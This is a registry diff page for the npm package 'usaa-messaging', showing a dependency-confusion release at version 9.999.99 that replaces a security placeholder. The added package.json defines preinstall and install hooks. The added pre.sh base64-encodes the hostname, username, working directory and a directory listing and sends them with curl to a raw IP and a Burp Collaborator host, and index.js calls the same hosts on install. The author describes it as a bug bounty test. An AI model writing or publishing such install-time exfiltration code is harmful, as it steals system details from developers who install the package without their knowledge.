usaa-messaging 0.0.1-security → 9.999.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of usaa-messaging might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +46 -0
  2. package/package.json +10 -3
  3. package/pre.sh +4 -0
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a test message from 0xczar for USAA Bug Bounty Tesst");
3
+ }
4
+
5
+ const http = require('http')
6
+ const options = {
7
+ hostname: '35.86.142.152',
8
+ port: 80,
9
+ path: '/usaa-messaging_404_indexjs_first_request.txt',
10
+ method: 'GET'
11
+ }
12
+
13
+ const req = http.request(options, res => {
14
+ console.log(`statusCode: ${res.statusCode}`)
15
+
16
+ res.on('data', d => {
17
+ process.stdout.write(d)
18
+ })
19
+ })
20
+
21
+ req.on('error', error => {
22
+ console.error(error)
23
+ })
24
+
25
+ req.end()
26
+ const options2 = {
27
+ hostname: '0cd9rfktr99qhghks36bl0o4hvnmbb.burpcollaborator.net',
28
+ port: 80,
29
+ path: '/usaa-messaging_404_indexjs_second_request.txt',
30
+ method: 'GET'
31
+ }
32
+
33
+
34
+ const req2 = http.request(options2, res => {
35
+ console.log(`statusCode: ${res.statusCode}`)
36
+
37
+ res.on('data', d => {
38
+ process.stdout.write(d)
39
+ })
40
+ })
41
+
42
+ req2.on('error', error => {
43
+ console.error(error)
44
+ })
45
+
46
+ req2.end()
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "usaa-messaging",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.999.99",
4
+ "description": "A test package for USAA BugBounty Program",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "./pre.sh",
9
+ "install": "node index.js"
10
+ },
11
+ "author": "0xczar",
12
+ "license": "ISC"
6
13
  }
package/pre.sh ADDED
@@ -0,0 +1,4 @@
1
+ #!/bin/bash
2
+
3
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://35.86.142.152/0xczar_404.txt
4
+ curl -v http://0cd9rfktr99qhghks36bl0o4hvnmbb.burpcollaborator.net/usaa-messaging_404_pre_request_second.txt
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=usaa-messaging for more information.